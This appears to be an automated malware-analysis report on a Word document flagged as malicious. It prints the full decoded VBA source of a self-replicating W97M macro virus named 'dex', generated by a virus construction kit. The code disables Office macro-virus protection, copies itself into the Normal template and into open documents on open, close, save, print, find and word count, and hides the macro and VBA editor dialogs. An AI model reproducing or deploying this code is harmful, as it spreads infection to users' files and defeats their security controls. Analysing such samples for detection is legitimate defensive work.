MALICIOUS
136
Risk Score
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11364 bytes |
SHA-256: c84e0e82b3902934d6feebda97efcc3a9bfe8452fa08d4db9d3a85be89597f0f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Generated by DarkChasm's Word 97 Macro Virus Construction Kit (DW97MVCK)
'Virus Name: dex
'------------------------------------------------------------
'AutoOpen macro
'Executed when a document is opened
'------------------------------------------------------------
Sub AutoOpen()
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'AutoClose macro
'Executed when a document is closed
'------------------------------------------------------------
Sub AutoClose()
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'FileSaveAs macro
'Executed when a user selects File SaveAs from the Word menu
'------------------------------------------------------------
Sub FileSaveAs()
Dialogs(wdDialogFileSaveAs).Show
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'FileSave macro
'Executed when a user selects File Save from the Word menu
'------------------------------------------------------------
Sub FileSave()
ActiveDocument.Save
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'FilePrint macro
'Executed when a user selects File Print from the Word menu
'------------------------------------------------------------
Sub FilePrint()
Dialogs(wdDialogFilePrint).Show
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'EditFind macro
'Executed when a user selects Edit Find from the Word menu
'------------------------------------------------------------
Sub EditFind()
Dialogs(wdDialogEditFind).Show
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'ToolsWordCount macro
'Executed when a user selects Tools WordCount
'------------------------------------------------------------
Sub ToolsWordCount()
Dialogs(wdDialogToolsWordCount).Show
On Error GoTo dex
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "dex" Then
GlobalInstalled = Yes
End If
Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "dex" Then
DocumentInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="dex", Object:=wdOrganizerObjectProjectItems
End If
Application.DisplayAlerts = wdAlertsAll
dex:
End Sub
'------------------------------------------------------------
'ToolsMacro macro
'Used to hide the ToolsMacro dialog box
'------------------------------------------------------------
Sub ToolsMacro()
End Sub
'------------------------------------------------------------
'ViewVBCode macro
'Used to hide the ViewVBCode dialog box
'------------------------------------------------------------
Sub ViewVBCode()
End Sub
'------------------------------------------------------------
'ToolsCustomize macro
'Used to hide the ToolsCustomize dialog box
'------------------------------------------------------------
Sub ToolsCustomize()
End Sub
'------------------------------------------------------------
'FileTemplates macro
'Used to hide the FileTemplates dialog box
'------------------------------------------------------------
Sub FileTemplates()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.